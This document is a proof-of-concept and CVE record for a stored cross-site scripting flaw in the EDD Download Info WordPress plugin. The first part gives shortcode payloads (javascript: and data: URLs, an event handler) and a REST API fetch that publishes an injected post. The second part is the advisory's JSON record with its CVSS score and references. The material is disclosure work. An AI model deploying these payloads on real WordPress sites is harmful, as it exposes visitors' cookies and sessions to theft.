CVE-2025-14121

// CVE-2025-14121 PoC - EDD Download Info Stored XSS // Author: Security Researcher // Target: EDD Download Info WordPress Plugin <= 1.1 // Method 1: Using the vulnerable shortcode with javascript protocol [edd_download_info_link url='javascript:alert(document.domain)']Click Here[/edd_download_info_link] // Method 2: Using event handlers in URL attribute [edd_download_info_link url='xss' onload='alert(document.cookie)']Link Text[/edd_download_info_link] // Method 3: Data URL payload [edd_download_info_link url='data:text/html,<script>alert(document.cookie)</script>']Click[/edd_download_info_link] // WordPress REST API exploitation (requires Contributor role): const payload = { title: 'Malicious Page', content: '[edd_download_info_link url="javascript:alert(document.cookie)"]Click Here[/edd_download_info_link]', status: 'publish' }; fetch('/wp-json/wp/v2/posts', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': wpNonce }, body: JSON.stringify(payload) });

{"cve": {"id": "CVE-2025-14121", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:53.003", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The EDD Download Info plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'edd_download_info_link' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin EDD Download Info para WordPress es vulnerable a Cross-Site Scripting Almacenado a través del shortcode 'edd_download_info_link' en todas las versiones hasta la 1.1, inclusive, debido a la sanitización insuficiente de la entrada y al escape de salida en atributos proporcionados por el usuario. Esto hace posible que atacantes autenticados, con acceso de nivel de colaborador y superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/edd-download-info/tags/1.1/includes/shortcodes.php#L43", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/edd-download-info/trunk/includes/shortcodes.php#L43", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c0290595-d74d-404e-9d28-75abc9055031?source=cve", "source": "[email protected]"}]}}